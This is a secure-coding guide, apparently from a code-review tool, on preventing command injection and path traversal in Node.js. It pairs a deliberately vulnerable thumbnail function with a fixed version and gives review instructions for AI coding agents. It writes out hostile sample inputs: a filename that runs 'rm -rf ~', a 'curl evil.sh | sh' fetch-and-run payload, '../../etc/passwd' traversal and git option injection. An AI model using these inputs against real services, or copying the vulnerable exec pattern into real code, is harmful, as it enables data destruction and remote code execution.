Prevent Command Injection and Path Traversal in Node.js
Catches child_process exec calls built from untrusted input, and path.join or path.resolve on user input with no base-directory containment check.
What it flags
import { exec } from 'node:child_process';
import path from 'node:path';
import { promisify } from 'node:util';
const execAsync = promisify(exec);
const UPLOAD_DIR = '/srv/uploads';
const THUMB_DIR = '/srv/thumbs';
export async function makeThumbnail(fileName: string, width: number) {
const input = path.join(UPLOAD_DIR, fileName);
const output = path.join(THUMB_DIR, fileName);
// A fileName like "a.png; rm -rf ~" runs a second shell command
await execAsync(`magick ${input} -resize ${width}x ${output}`);
return output;
}import { execFile } from 'node:child_process';
import path from 'node:path';
import { promisify } from 'node:util';
const execFileAsync = promisify(execFile);
const UPLOAD_DIR = path.resolve('/srv/uploads');
const THUMB_DIR = path.resolve('/srv/thumbs');
function resolveInside(baseDir: string, fileName: string): string {
const resolved = path.resolve(baseDir, fileName);
if (!resolved.startsWith(baseDir + path.sep)) {
throw new Error('Path escapes its base directory');
}
return resolved;
}
export async function makeThumbnail(fileName: string, width: number) {
const input = resolveInside(UPLOAD_DIR, fileName);
const output = resolveInside(THUMB_DIR, fileName);
await execFileAsync('magick', [input, '-resize', `${width}x`, output]);
return output;
}Why it matters
exec hands its command string to a shell, so a filename like a.png; curl evil.sh | sh runs a second command with the service account privileges. Path traversal is quieter: path.join(base, "../../etc/passwd") climbs out of the base directory, and path.resolve discards the base entirely when the input is an absolute path. Both slip through review because the code works for every ordinary filename the author tested.
Agent instructions
cubic checks every pull request against these instructions. Paste them into AGENTS.md or Cursor rules and your AI coding tool follows them while it writes code.
AGENTS.md
Add this section to AGENTS.md at the repository root. Codex, Cursor, and other AI coding tools read it.
## Prevent Command Injection and Path Traversal in Node.js
Applies to `**/*.js`, `**/*.mjs`, `**/*.cjs`, `**/*.ts`, `**/*.mts`, `**/*.cts`.
Review Node.js code that runs external commands or builds file paths for injection through untrusted input.
Flag changes that:
- Pass strings containing request data, filenames, branch names, or other external input to `child_process.exec` or `execSync`, which run the command through a shell.
- Call `spawn` or `execFile` with `shell: true` and arguments built from external input.
- Pass external values as command arguments that could start with `-` without a `--` end-of-options separator or validation, allowing option injection such as `--upload-pack` in `git`.
- Join or resolve user-supplied names, such as route params, query strings, upload filenames, or archive entry names, with `path.join` or `path.resolve` and use the result without checking that it stays inside the intended base directory.
- Check containment with `startsWith(baseDir)` without a trailing separator, so `/srv/uploads-old` passes a check for `/srv/uploads`.
- Sanitize paths with string replacement such as `.replace('../', '')`, which nested sequences like `....//` defeat.
Do not flag:
- `exec` calls whose command string is a constant with no external input.
- Paths built only from server-generated values, such as UUIDs or content hashes.
- Express `res.sendFile(name, { root })`, which rejects `..` segments when `root` is set.
- Build scripts, dev tooling, and tests that take arguments from the developer.
Checks files matching **/*.js, **/*.mjs, **/*.cjs, **/*.ts, **/*.mts, **/*.cts.
More Node.js agents
See all Node.js code review standards
Run this agent on every pull request
cubic reviews every pull request against the agents you turn on and comments on the lines that break them.